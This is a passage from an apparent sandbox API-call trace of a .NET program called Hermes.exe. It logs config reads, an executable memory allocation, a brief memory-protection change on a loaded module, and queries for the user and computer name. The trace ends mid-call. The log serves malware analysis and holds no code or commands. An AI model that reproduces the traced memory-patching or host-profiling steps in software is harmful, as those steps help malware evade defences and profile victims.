CoTaskMemFree (pv=0xfb0d90) [0074.990] GetModuleInformation (in: hProcess=0xec, hModule=0x742c0000, lpmodinfo=0x301bec0, cb=0xc | out: lpmodinfo=0x301bec0*(lpBaseOfDll=0x742c0000, SizeOfImage=0x8000, EntryPoint=0x742c17c0)) returned 1 [0074.990] CoTaskMemAlloc (cb=0x804) returned 0xfb0d90 [0074.991] GetModuleBaseNameW (in: hProcess=0xec, hModule=0x742c0000, lpBaseName=0xfb0d90, nSize=0x800 | out: lpBaseName="version.dll") returned 0xb [0074.991] CoTaskMemFree (pv=0xfb0d90) [0074.991] CoTaskMemAlloc (cb=0x804) returned 0xfb0d90 [0074.991] GetModuleFileNameExW (in: hProcess=0xec, hModule=0x742c0000, lpFilename=0xfb0d90, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\SYSTEM32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll")) returned 0x1f [0074.991] CoTaskMemFree (pv=0xfb0d90) [0074.991] CloseHandle (hObject=0xec) returned 1 [0075.086] CoTaskMemAlloc (cb=0x1) returned 0xfaca70 [0075.105] VirtualAlloc (lpAddress=0x0, dwSize=0x1e, flAllocationType=0x1000, flProtect=0x40) returned 0x2f10000 [0075.105] VirtualProtect (in: lpAddress=0x72821410, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x19e4c8 | out: lpflOldProtect=0x19e4c8*=0x2) returned 1 [0075.105] GetCurrentProcess () returned 0xffffffff [0075.115] VirtualProtect (in: lpAddress=0x72821410, dwSize=0x4, flNewProtect=0x2, lpflOldProtect=0x19e4c8 | out: lpflOldProtect=0x19e4c8*=0x40) returned 1 [0075.115] GetCurrentProcess () returned 0xffffffff [0075.308] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Windows.Forms\\v4.0_4.0.0.0__b77a5c561934e089\\System.Windows.Forms.dll", nBufferLength=0x105, lpBuffer=0x19e940, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Windows.Forms\\v4.0_4.0.0.0__b77a5c561934e089\\System.Windows.Forms.dll", lpFilePart=0x0) returned 0x77 [0075.336] IsAppThemed () returned 0x1 [0075.338] GetCurrentProcess () returned 0xffffffff [0075.338] GetCurrentProcess () returned 0xffffffff [0075.339] CoTaskMemAlloc (cb=0xf0) returned 0xfec7d8 [0075.339] CreateActCtxA (pActCtx=0x19ee90) returned 0xfec9cc [0075.466] GetCurrentProcess () returned 0xffffffff [0075.466] GetCurrentProcess () returned 0xffffffff [0075.467] CoTaskMemFree (pv=0xfec7d8) [0075.477] RegisterClipboardFormatW (lpszFormat="WM_GETCONTROLNAME") returned 0xc16a [0075.477] RegisterClipboardFormatW (lpszFormat="WM_GETCONTROLTYPE") returned 0xc169 [0075.477] CoTaskMemAlloc (cb=0x6) returned 0xfacaf0 [0075.478] CoTaskMemAlloc (cb=0x6) returned 0xfacb30 [0075.483] CoTaskMemAlloc (cb=0x1e2) returned 0xfec7d8 [0075.491] CoTaskMemAlloc (cb=0xb) returned 0xfab0a0 [0075.493] CoTaskMemAlloc (cb=0x6) returned 0xfacb20 [0075.494] CoTaskMemAlloc (cb=0xf) returned 0xfab058 [0075.661] CoTaskMemAlloc (cb=0x6) returned 0xfacb80 [0075.663] CoTaskMemAlloc (cb=0xb) returned 0xfab0b8 [0075.665] GetUserNameW (in: lpBuffer=0x19ec28, pcbBuffer=0x19eea0 | out: lpBuffer="FD1HVy", pcbBuffer=0x19eea0) returned 1 [0075.665] GetCurrentProcess () returned 0xffffffff [0075.666] GetCurrentProcess () returned 0xffffffff [0075.670] CoTaskMemAlloc (cb=0xb) returned 0xfab100 [0075.672] GetComputerNameW (in: lpBuffer=0x19ec28, nSize=0x19eea0 | out: lpBuffer="NQDPDE", nSize=0x19eea0) returned 1 [0075.672] CoTaskMemAlloc (cb=0xe) returned 0xfab118 [0076.156] GetCurrentProcess () returned 0xffffffff [0076.157] GetCurrentProcess () returned 0xffffffff [0076.250] GetCurrentProcess () returned 0xffffffff [0076.251] GetCurrentProcess () returned 0xffffffff [0076.386] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\Hermes.exe.config", nBufferLength=0x105, lpBuffer=0x19e700, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\Hermes.exe.config", lpFilePart=0x0) returned 0x29 [0076.387] CoTaskMemAlloc (cb=0x20c) returned 0xfaf760 [0076.387] GetModuleFileNameW (in: hModule=0x0, lpFilename=0xfaf760, nSize=0x104 | out: lpFilename="C:\\Users\\FD1HVy\\Desktop\\Hermes.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\hermes.exe")) returned 0x22 [0076.388] CoTaskMemFree (pv=0xfaf760) [0076.388] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\Hermes.exe", nBufferLength=0x105, lpBuffer=0x19e724, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\Hermes.exe", lpFilePart=0x0) returned 0x22 [0076.750] GetCurrentProcess () returned 0xffffffff [0076.751] GetCurrentProcess () returned 0xffffffff [0076.833] GetCurrentProcess () returned 0xffffffff [0076.834] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x19ea68 | out: TokenHandle=0x19ea68*=0x2fc) returned 1 [0076.836] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\", nBufferLength=0x105, lpBuffer=0x19e4f4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\", lpFilePart=0x0) returned 0x2e [0076.838] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\machine.config" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\config\\machine.config"), fInfoLevelId=0x0, lpFileInformation=0x19ea60 | out: lpFileInformation=0x19ea60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56a29ff, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x97df7583, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x97df7583, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x8c8f)) returned 1 [0076.839] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\machine.config", nBufferLength=0x105, lpBuffer=0x19e4c0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\machine.config", lpFilePart=0x0) returned 0x43 [0076.840] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\machine.config" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\config\\machine.config"), fInfoLevelId=0x0, lpFileInformation=0x19ea68 | out: lpFileInformation=0x19ea68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56a29ff, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x97df7583, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x97df7583, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x8c8f)) returned 1 [0076.840] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\machine.config", nBufferLength=0x105, lpBuffer=0x19e45c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\machine.config", lpFilePart=0x0) returned 0x43 [0076.840] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x19e9a0) returned 1 [0076.841] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\machine.config" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\config\\machine.config"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x300 [0076.842] GetFileType (hFile=0x300) returned 0x1 [0076.842] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x19e99c) returned 1 [0076.842] GetFileType (hFile=0x300) returned 0x1 [0076.869] GetFileSize (in: hFile=0x300, lpFileSizeHigh=0x19ea5c | out: lpFileSizeHigh=0x19ea5c*=0x0) returned 0x8c8f [0076.870] ReadFile (in: hFile=0x300, lpBuffer=0x30269b4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19ea18, lpOverlapped=0x0 | out: lpBuffer=0x30269b4*, lpNumberOfBytesRead=0x19ea18*=0x1000, lpOverlapped=0x0) returned 1 [0076.896] ReadFile (in: hFile=0x300, lpBuffer=0x30269b4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19e8c4, lpOverlapped=0x0 | out: lpBuffer=0x30269b4*, lpNumberOfBytesRead=0x19e8c4*=0x1000, lpOverlapped=0x0) returned 1 [0076.897] ReadFile (in: hFile=0x300, lpBuffer=0x30269b4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19e778, lpOverlapped=0x0 | out: lpBuffer=0x30269b4*, lpNumberOfBytesRead=0x19e778*=0x1000, lpOverlapped=0x0) returned 1 [0076.898] ReadFile (in: hFile=0x300, lpBuffer=0x30269b4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19e778, lpOverlapped=0x0 | out: lpBuffer=0x30269b4*, lpNumberOfBytesRead=0x19e778*=0x1000, lpOverlapped=0x0) returned 1 [0076.898] ReadFile (in: hFile=0x300, lpBuffer=0x30269b4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19e778, lpOverlapped=0x0 | out: lpBuffer=0x30269b4*, lpNumberOfBytesRead=0x19e778*=0x1000, lpOverlapped=0x0) returned 1 [0076.899] ReadFile (in: hFile=0x300, lpBuffer=0x30269b4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19e6b0, lpOverlapped=0x0 | out: lpBuffer=0x30269b4*, lpNumberOfBytesRead=0x19e6b0*=0x1000, lpOverlapped=0x0) returned 1 [0076.903] ReadFile (in: hFile=0x300, lpBuffer=0x30269b4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19e834, lpOverlapped=0x0 | out: lpBuffer=0x30269b4*, lpNumberOfBytesRead=0x19e834*=0x1000, lpOverlapped=0x0) returned 1 [0076.904] ReadFile (in: hFile=0x300, lpBuffer=0x30269b4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19e740, lpOverlapped=0x0 | out: lpBuffer=0x30269b4*, lpNumberOfBytesRead=0x19e740*=0x1000, lpOverlapped=0x0) returned 1 [0076.904] ReadFile (in: hFile=0x300, lpBuffer=0x30269b4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19e740, lpOverlapped=0x0 | out: lpBuffer=0x30269b4*, lpNumberOfBytesRead=0x19e740*=0xc8f, lpOverlapped=0x0) returned 1 [0076.904] ReadFile (in: hFile=0x300, lpBuffer=0x30269b4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19e804, lpOverlapped=0x0 | out: lpBuffer=0x30269b4*, lpNumberOfBytesRead=0x19e804*=0x0, lpOverlapped=0x0) returned 1 [0076.905] CloseHandle (hObject=0x300) returned 1 [0076.906] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\Hermes.exe.config", nBufferLength=0x105, lpBuffer=0x19e6fc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\Hermes.exe.config", lpFilePart=0x0) returned 0x29 [0076.906] CoTaskMemAlloc (cb=0x20c) returned 0xfaebf8 [0076.906] GetModuleFileNameW (in: hModule=0x0, lpFilename=0xfaebf8, nSize=0x104 | out: lpFilename="C:\\Users\\FD1HVy\\Desktop\\Hermes.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\hermes.exe")) returned 0x22 [0076.906] CoTaskMemFree (pv=0xfaebf8) [0076.906] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\Hermes.exe", nBufferLength=0x105, lpBuffer=0x19e720, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\Hermes.exe", lpFilePart=0x0) returned 0x22 [0076.907] GetCurrentProcess () returned 0xffffffff [0076.907] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x19ebb0 | out: TokenHandle=0x19ebb0*=0x300) returned 1 [0076.907] GetCurrentProcess () returned 0xffffffff [0076.907] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x19ebb0 | out: TokenHandle=0x19ebb0*=0x304) returned 1 [0076.908] GetCurrentProcess () returned 0xffffffff [0076.908] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x19ea68 | out: TokenHandle=0x19ea68*=0x308) returned 1 [0076.908] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\Hermes.exe.config" (normalized: "c:\\users\\fd1hvy\\desktop\\hermes.exe.config"), fInfoLevelId=0x0, lpFileInformation=0x19ea60 | out: lpFileInformation=0x19ea60*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0076.908] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\Hermes.exe.config", nBufferLength=0x105, lpBuffer=0x19e4c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\Hermes.exe.config", lpFilePart=0x0) returned 0x29 [0076.908] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\Hermes.exe.config" (normalized: "c:\\users\\fd1hvy\\desktop\\hermes.exe.config"), fInfoLevelId=0x0, lpFileInformation=0x19ea68 | out: lpFileInformation=0x19ea68*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0076.909] GetCurrentProcess () returned 0xffffffff [0076.909] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x19ebb0 | out: TokenHandle=0x19ebb0*=0x30c) returned 1 [0076.909] GetCurrentProcess () returned 0xffffffff [0076.909] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x19ebb0 | out: TokenHandle=0x19ebb0*=0x310) returned 1 [0076.923] GetCurrentProcess () returned 0xffffffff [0076.923] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x19ea10 | out: TokenHandle=0x19ea10*=0x314) returned 1 [0076.926] GetCurrentProcess () returned 0xffffffff [0076.926] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x19ea20 | out: TokenHandle=0x19ea20*=0x318) returned 1 [0076.945] CoTaskMemAlloc (cb=0x91) returned 0xfb1c40 [0076.950] CoTaskMemAlloc (cb=0xe) returned 0xfb7e88 [0076.999] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x0 [0077.795] LoadLibraryW (lpLibFileName="comctl32.dll") returned 0x6eb70000 [0077.810] GetCurrentProcess () returned 0xffffffff [0077.811] GetCurrentProcess () returned 0xffffffff [0077.823] GetCurrentProcess () returned 0xffffffff [0077.824] GetCurrentProcess () returned 0xffffffff [0077.837] CoTaskMemAlloc (cb=0xe) returned 0xfb7de0 [0077.852] CoTaskMemAlloc (cb=0x12) returned 0xfb3338 [0077.908] AdjustWindowRectEx (in: lpRect=0x19ee40, dwStyle=0x56cf0000, bMenu=0, dwExStyle=0x50081 | out: lpRect=0x19ee40) returned 1 [0077.910] GetCurrentProcess () returned 0xffffffff [0077.911] DuplicateHandle (in: hSourceProcessHandle=0xffffffff, hSourceHandle=0xfffffffe, hTargetProcessHandle=0xffffffff, lpTargetHandle=0x19ed54, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x19ed54*=0x320) returned 1 [0077.915] GetCurrentActCtx (in: lphActCtx=0x19ecb4 | out: lphActCtx=0x19ecb4*=0x0) returned 1 [0077.916] ActivateActCtx (in: hActCtx=0xfec9cc, lpCookie=0x19ecc4 | out: hActCtx=0xfec9cc, lpCookie=0x19ecc4) returned 1 [0077.916] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x0 [0078.574] LoadLibraryW (lpLibFileName="comctl32.dll") returned 0x6e960000 [0078.578] GetCurrentProcess () returned 0xffffffff [0078.578] GetCurrentProcess () returned 0xffffffff [0078.579] GetCurrentProcess () returned 0xffffffff [0078.579] GetCurrentProcess () returned 0xffffffff [0078.580] GetCurrentProcess () returned 0xffffffff [0078.587] GetModuleHandleW (lpModuleName="user32.dll") returned 0x74b70000 [0078.587] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DefWindowProcW", cchWideChar=14, lpMultiByteStr=0x19eb78, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DefWindowProcW\x13q\x9fu¦fðù¼s°ò\x19", lpUsedDefaultChar=0x0) returned 14 [0078.587] GetProcAddress (hModule=0x74b70000, lpProcName="DefWindowProcW") returned 0x74600140 [0078.588] GetStockObject (i=5) returned 0x900015 [0078.592] GetModuleHandleW (lpModuleName=0x0) returned 0x400000 [0078.593] CoTaskMemAlloc (cb=0x5c) returned 0xfaf360 [0078.594] RegisterClassW (lpWndClass=0x19eb68) returned 0xc16c [0078.594] CoTaskMemFree (pv=0xfaf360) [0078.594] GetModuleHandleW (lpModuleName=0x0) returned 0x400000 [0078.595] CreateWindowExW (dwExStyle=0x0, lpClassName="WindowsForms10.Window.8.app.0.141b42a_r11_ad1", lpWindowName=0x0, dwStyle=0x2010000, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0xfffffffd, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x401f8 [0078.604] SetWindowLongW (hWnd=0x401f8, nIndex=-4, dwNewLong=1952448832) returned 88689254 [0078.605] GetWindowLongW (hWnd=0x401f8, nIndex=-4) returned 1952448832 [0078.607] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\.NETFramework", ulOptions=0x0, samDesired=0x20019, phkResult=0x19e388 | out: phkResult=0x19e388*=0x338) returned 0x0 [0078.608] RegQueryValueExW (in: hKey=0x338, lpValueName="DbgJITDebugLaunchSetting", lpReserved=0x0, lpType=0x19e3a8, lpData=0x0, lpcbData=0x19e3a4*=0x0 | out: lpType=0x19e3a8*=0x0, lpData=0x0, lpcbData=0x19e3a4*=0x0) returned 0x2 [0078.608] RegQueryValueExW (in: hKey=0x338, lpValueName="DbgManagedDebugger", lpReserved=0x0, lpType=0x19e3a8, lpData=0x0, lpcbData=0x19e3a4*=0x0 | out: lpType=0x19e3a8*=0x0, lpData=0x0, lpcbData=0x19e3a4*=0x0) returned 0x2 [0078.608] RegCloseKey (hKey=0x338) returned 0x0 [0078.609] SetWindowLongW (hWnd=0x401f8, nIndex=-4, dwNewLong=88689294) returned 1952448832 [0078.609] GetWindowLongW (hWnd=0x401f8, nIndex=-4) returned 88689294 [0078.609] GetWindowLongW (hWnd=0x401f8, nIndex=-16) returned 113311744 [0078.610] RegisterClipboardFormatW (lpszFormat="WinFormsMouseEnter") returned 0xc16d [0078.611] RegisterClipboardFormatW (lpszFormat="WinFormsUnSubclass") returned 0xc16e [0078.611] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x401f8, Msg=0x81, wParam=0x0, lParam=0x19e6d8) returned 0x1 [0078.614] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x401f8, Msg=0x83, wParam=0x0, lParam=0x19e6c4) returned 0x0 [0078.864] GetCurrentProcess () returned 0xffffffff [0078.864] GetCurrentProcess () returned 0xffffffff [0078.865] GetCurrentProcess () returned 0xffffffff [0078.866] GetCurrentProcess () returned 0xffffffff [0078.867] GetCurrentProcess () returned 0xffffffff [0078.868] GetCurrentProcess () returned 0xffffffff [0078.868] GetCurrentProcess () returned 0xffffffff [0078.869] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x401f8, Msg=0x1, wParam=0x0, lParam=0x19e6d8) returned 0x0 [0078.869] GetClientRect (in: hWnd=0x401f8, lpRect=0x19e3c0 | out: lpRect=0x19e3c0) returned 1 [0078.869] GetWindowRect (in: hWnd=0x401f8, lpRect=0x19e3c0 | out: lpRect=0x19e3c0) returned 1 [0078.871] GetParent (hWnd=0x401f8) returned 0x0 [0078.871] DeactivateActCtx (dwFlags=0x0, ulCookie=0x13060001) returned 1 [0078.871] CoTaskMemAlloc (cb=0x186) returned 0xfb8800 [0078.885] CoTaskMemAlloc (cb=0xf) returned 0xfb7d50 [0078.887] CoTaskMemAlloc (cb=0xf) returned 0xfb7f18 [0078.891] EtwEventRegister (in: ProviderId=0x30431d0, EnableCallback=0x5494ab6, CallbackContext=0x0, RegHandle=0x30431ac | out: RegHandle=0x30431ac) returned 0x0 [0078.893] CoTaskMemAlloc (cb=0xe) returned 0xfb7e58 [0078.896] CoTaskMemAlloc (cb=0x12) returned 0xfb3278 [0079.007] CoTaskMemAlloc (cb=0x12) returned 0xfb3538 [0079.008] CoTaskMemAlloc (cb=0x12) returned 0xfb32b8 [0079.010] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6eb70000 [0079.011] AdjustWindowRectEx (in: lpRect=0x19eda4, dwStyle=0x2cf0000, bMenu=0, dwExStyle=0x50080 | out: lpRect=0x19eda4) returned 1 [0079.011] GetSystemMetrics (nIndex=59) returned 1460 [0079.011] GetSystemMetrics (nIndex=60) returned 920 [0079.011] GetSystemMetrics (nIndex=34) returned 136 [0079.011] GetSystemMetrics (nIndex=35) returned 39 [0079.011] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6eb70000 [0079.011] AdjustWindowRectEx (in: lpRect=0x19eca4, dwStyle=0x2cf0000, bMenu=0, dwExStyle=0x50080 | out: lpRect=0x19eca4) returned 1 [0079.011] CoTaskMemAlloc (cb=0x12) returned 0xfb31d8 [0079.015] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\Hermes.exe.config", nBufferLength=0x105, lpBuffer=0x19e678, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\Hermes.exe.config", lpFilePart=0x0) returned 0x29 [0079.015] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x19eb34) returned 1 [0079.015] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\Hermes.exe.config" (normalized: "c:\\users\\fd1hvy\\desktop\\hermes.exe.config"), fInfoLevelId=0x0, lpFileInformation=0x19ebb0 | out: lpFileInformation=0x19ebb0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0079.015] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x19eb30) returned 1 [0079.668] CoTaskMemAlloc (cb=0xc) returned 0xfb7eb8 [0079.671] CoTaskMemAlloc (cb=0x13) returned 0xfb3218 [0079.673] CoTaskMemAlloc (cb=0x27) returned 0xfac238 [0079.675] CoTaskMemAlloc (cb=0x13) returned 0xfb3598 [0079.676] CoTaskMemAlloc (cb=0xd) returned 0xfb7f48 [0079.679] CoTaskMemAlloc (cb=0x17) returned 0xfb35b8 [0079.681] CoTaskMemAlloc (cb=0x4e) returned 0xf95090 [0079.722] CoTaskMemAlloc (cb=0xf) returned 0xfb7ed0 [0079.723] CoTaskMemAlloc (cb=0x43) returned 0xfe6f90 [0079.726] CoTaskMemAlloc (cb=0xb) returned 0xfb7f00 [0079.728] CoTaskMemAlloc (cb=0x12) returned 0xfb32f8 [0079.731] CoTaskMemAlloc (cb=0x2b) returned 0xfa9a08 [0079.734] CoTaskMemAlloc (cb=0x17) returned 0xfb3498 [0079.736] CoTaskMemAlloc (cb=0x396) returned 0x100ffc8 [0079.748] CoTaskMemAlloc (cb=0x89) returned 0xfe68a8 [0079.751] CoTaskMemAlloc (cb=0x13) returned 0xfb31f8 [0079.752] CoTaskMemAlloc (cb=0x75) returned 0xfbfd58 [0079.777] CoTaskMemAlloc (cb=0x1c) returned 0xfb7278 [0079.782] CoTaskMemAlloc (cb=0x4a) returned 0xf952a0 [0079.787] CoTaskMemAlloc (cb=0xf) returned 0xfb7e40 [0079.789] CoTaskMemAlloc (cb=0xf) returned 0xfb7f78 [0079.792] CoTaskMemAlloc (cb=0x16) returned 0xfb3298 [0079.929] GetSystemMetrics (nIndex=11) returned 32 [0079.930] GetSystemMetrics (nIndex=12) returned 32 [0079.930] GetDC (hWnd=0x0) returned 0x60100ce [0079.932] GetDeviceCaps (hdc=0x60100ce, index=12) returned 32 [0079.932] GetDeviceCaps (hdc=0x60100ce, index=14) returned 1 [0079.932] ReleaseDC (hWnd=0x0, hDC=0x60100ce) returned 1 [0079.933] CreateIconFromResourceEx (presbits=0x30654b4, dwResSize=0x10a8, fIcon=1, dwVer=0x30000, cxDesired=0, cyDesired=0, Flags=0x0) returned 0x38008b [0079.933] GetCurrentProcess () returned 0xffffffff [0079.934] GetCurrentProcess () returned 0xffffffff [0079.937] CoTaskMemAlloc (cb=0x12) returned 0xfb3238 [0079.975] CoTaskMemAlloc (cb=0x12) returned 0xfb33f8 [0079.996] CoTaskMemAlloc (cb=0x12) returned 0xfb3318 [0079.999] CoTaskMemAlloc (cb=0x12) returned 0xfb3258 [0080.016] CoTaskMemAlloc (cb=0x12) returned 0xfb3358 [0080.019] CreateCompatibleDC (hdc=0x0) returned 0x8001068c [0080.021] GetSystemDefaultLCID () returned 0x409 [0080.021] GetStockObject (i=17) returned 0xa01c1 [0080.022] GetObjectW (in: h=0xa01c1, c=92, pv=0x19eaf8 | out: pv=0x19eaf8) returned 92 [0080.022] GetDC (hWnd=0x0) returned 0x60100ce [0080.237] GetCurrentProcess () returned 0xffffffff [0080.238] GetCurrentProcess () returned 0xffffffff [0080.239] GetCurrentProcess () returned 0xffffffff [0080.240] GetCurrentProcess () returned 0xffffffff [0080.241] GetCurrentProcess () returned 0xffffffff [0080.254] GdiplusStartup (in: token=0x2955b08, input=0x19e0b0, output=0x19e100 | out: token=0x2955b08, output=0x19e100) returned 0x0 [0080.370] CoTaskMemAlloc (cb=0x5c) returned 0xf915a0 [0080.371] GdipCreateFontFromLogfontW (hdc=0x60100ce, logfont=0xf915a0, font=0x19ebc0) returned 0x0 [0080.849] GetCurrentProcess () returned 0xffffffff [0080.850] GetCurrentProcess () returned 0xffffffff [0080.851] GetCurrentProcess () returned 0xffffffff [0080.853] GetCurrentProcess () returned 0xffffffff [0080.854] GetCurrentProcess () returned 0xffffffff [0080.883] GetCurrentProcess () returned 0xffffffff [0080.884] GetCurrentProcess () returned 0xffffffff [0081.303] CoTaskMemFree (pv=0xf915a0) [0081.304] CoTaskMemAlloc (cb=0x5c) returned 0xf915a0 [0081.304] CoTaskMemFree (pv=0xf915a0) [0081.304] CoTaskMemAlloc (cb=0x5c) returned 0xf915a0 [0081.305] CoTaskMemFree (pv=0xf915a0) [0081.305] GdipGetFontUnit (font=0x5541f08, unit=0x19eb88) returned 0x0 [0081.305] GdipGetFontSize (font=0x5541f08, size=0x19eb8c) returned 0x0 [0081.305] GdipGetFontStyle (font=0x5541f08, style=0x19eb84) returned 0x0 [0081.305] GdipGetFamily (font=0x5541f08, family=0x19eb80) returned 0x0 [0081.306] GdipGetFontSize (font=0x5541f08, size=0x3066aac) returned 0x0 [0081.306] ReleaseDC (hWnd=0x0, hDC=0x60100ce) returned 1 [0081.306] GetDC (hWnd=0x0) returned 0x10105d6 [0081.306] GdipCreateFromHDC (hdc=0x10105d6, graphics=0x19eb9c) returned 0x0 [0081.497] GdipGetDpiY (graphics=0x683f260, dpi=0x3066b88) returned 0x0 [0081.497] GdipGetFontHeight (font=0x5541f08, graphics=0x683f260, height=0x19eb94) returned 0x0 [0081.497] GdipGetEmHeight (family=0x5549598, style=0, EmHeight=0x19eb9c) returned 0x0 [0081.497] GdipGetLineSpacing (family=0x5549598, style=0, LineSpacing=0x19eb9c) returned 0x0 [0081.498] GdipDeleteGraphics (graphics=0x683f260) returned 0x0 [0081.498] ReleaseDC (hWnd=0x0, hDC=0x10105d6) returned 1 [0081.498] GdipCreateFont (fontFamily=0x5549598, emSize=0x41040000, style=0, unit=0x3, font=0x3066ba4) returned 0x0 [0081.498] GdipGetFontSize (font=0x554ef48, size=0x3066ba8) returned 0x0 [0081.498] GdipDeleteFont 